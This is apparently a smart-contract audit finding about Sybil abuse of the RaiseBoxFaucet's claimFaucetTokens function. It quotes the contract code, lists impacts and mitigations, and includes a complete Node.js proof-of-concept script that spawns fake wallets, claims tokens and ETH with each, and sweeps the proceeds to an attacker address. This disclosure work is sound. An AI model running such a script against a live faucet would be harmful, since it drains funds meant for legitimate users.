Root + Impact
-No verification to ensure claimants are unique users (e.g., CAPTCHA, KYC, or on-chain reputation).
-The dailyClaimLimit (100 claims/day) and dailySepEthCap are insufficient to prevent abuse by bots creating multiple accounts.
-No detection of suspicious patterns (e.g., rapid sequential claims from new addresses)
Description
The RaiseBoxFaucet contract lacks robust anti-bot mechanisms, enabling attackers to create multiple fake accounts to repeatedly claim faucet tokens faucetDrip and Sepolia ETH sepEthAmountToDrip. The contract enforces a 3-day cooldown CLAIM_COOLDOWN per address and a daily claim limit 'dailyClaimLimit, default 100', but these are easily bypassed by generating new addresses. The absence of identity verification, CAPTCHA, or Sybil attack resistance allows bots to drain significant amounts of tokens and ETH within the daily limits.
@> function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood:
Impact:
-Financial Loss: Attackers can drain up to 100 * faucetDrip tokens and 100 * sepEthAmountToDrip ETH (default 0.01 ETH per claim, up to dailySepEthCap) per day, depleting the contract’s token and ETH reserves.
-Unfair Distribution: Legitimate users are crowded out, as bots claim the majority of available tokens and ETH.
-Reputation Damage: The faucet’s purpose (fair distribution for testing) is undermined, reducing trust in the system.
-Gas Costs for Owner: Refilling the contract (refillSepEth) or minting new tokens (mintFaucetTokens) incurs additional costs to counteract the attack.
Proof of Concept
Using node.js
1.add hacking account
2.send to hacking account 0.01 ether before running script
3.create 10 fake accounts
4.for each fake account do the following
-send to it .005 ether
-use the abi of the next solidity contract
-call claimFaucetTokens
-call tranfer to send claimed token to hacking address
-return all ether remaining in to hacking address
5.print ether balance and token balance of hacking address
Note:I used anvil instead of sepolia becaue i have not enough sepolia ether.
const { ethers } = require("ethers");
async function main() {
const rpcUrl = "http://127.0.0.1:8545";
const provider = new ethers.JsonRpcProvider(rpcUrl);
const hackingPrivateKey = "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef";
const hackingWallet = new ethers.Wallet(hackingPrivateKey, provider);
console.log("Hacking Address:", hackingWallet.address);
console.log("Hacking Public Key:", hackingWallet.publicKey);
const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
const abi = [
"function claimFaucetTokens()",
"function transfer(address to, uint256 amount) returns (bool)",
"function balanceOf(address account) view returns (uint256)"
];
const contract = new ethers.Contract(contractAddress, abi, provider);
const hackingEthBalance = await provider.getBalance(hackingWallet.address);
if (hackingEthBalance < ethers.parseEther("0.01")) {
console.error("Hacking address must be funded with at least 0.01 ETH.");
return;
}
const fakeWallets = [];
for (let i = 0; i < 10; i++) {
const fakeWallet = ethers.Wallet.createRandom().connect(provider);
fakeWallets.push(fakeWallet);
console.log(`Fake Account ${i + 1} Address: ${fakeWallet.address}`);
}
let hackingNonce = await provider.getTransactionCount(hackingWallet.address, "pending");
for (const fakeWallet of fakeWallets) {
console.log(`Processing fake account: ${fakeWallet.address}`);
try {
const sendEthTx = await hackingWallet.sendTransaction({
to: fakeWallet.address,
value: ethers.parseEther("0.005"),
nonce: hackingNonce++,
gasLimit: 21000
});
await sendEthTx.wait();
console.log(`Sent 0.005 ETH to ${fakeWallet.address}, tx: ${sendEthTx.hash}`);
} catch (error) {
console.error(`Failed to send ETH to ${fakeWallet.address}:`, error.message);
continue;
}
const fakeContract = contract.connect(fakeWallet);
let fakeNonce = await provider.getTransactionCount(fakeWallet.address, "pending");
try {
const claimTx = await fakeContract.claimFaucetTokens({
gasLimit: 300000,
nonce: fakeNonce++
});
await claimTx.wait();
console.log(`Claimed tokens for ${fakeWallet.address}, tx: ${claimTx.hash}`);
} catch (error) {
console.error(`Failed to claim tokens for ${fakeWallet.address}:`, error.message);
continue;
}
const tokenBalance = await fakeContract.balanceOf(fakeWallet.address);
if (tokenBalance === 0n) {
console.log(`No tokens claimed for ${fakeWallet.address}, skipping transfer`);
continue;
}
try {
const transferTx = await fakeContract.transfer(hackingWallet.address, tokenBalance, {
gasLimit: 100000,
nonce: fakeNonce++
});
await transferTx.wait();
console.log(`Transferred ${ethers.formatUnits(tokenBalance, 18)} tokens from ${fakeWallet.address} to hacking address, tx: ${transferTx.hash}`);
} catch (error) {
console.error(`Failed to transfer tokens from ${fakeWallet.address}:`, error.message);
continue;
}
const remainingEth = await provider.getBalance(fakeWallet.address);
const gasReserve = ethers.parseEther("0.001");
if (remainingEth > gasReserve) {
try {
const sendBackAmount = remainingEth - gasReserve;
const sendBackTx = await fakeWallet.sendTransaction({
to: hackingWallet.address,
value: sendBackAmount,
gasLimit: 21000,
nonce: fakeNonce++
});
await sendBackTx.wait();
console.log(`Sent ${ethers.formatEther(sendBackAmount)} ETH from ${fakeWallet.address} back to hacking address, tx: ${sendBackTx.hash}`);
} catch (error) {
console.error(`Failed to send ETH back from ${fakeWallet.address}:`, error.message);
}
} else {
console.log(`Insufficient ETH in ${fakeWallet.address} to send back`);
}
}
const finalEthBalance = await provider.getBalance(hackingWallet.address);
const finalTokenBalance = await contract.balanceOf(hackingWallet.address);
console.log("Final Hacking ETH Balance:", ethers.formatEther(finalEthBalance));
console.log("Final Hacking Token Balance:", ethers.formatUnits(finalTokenBalance, 18));
}
main().catch((error) => {
console.error(error);
process.exit(1);
});
Recommended Mitigation
1.CAPTCHA with Signature Verification
2.Reduce Daily Claim Limit
constructor(...) {
dailyClaimLimit = 5;
}
3.Blacklist Suspicious Addresses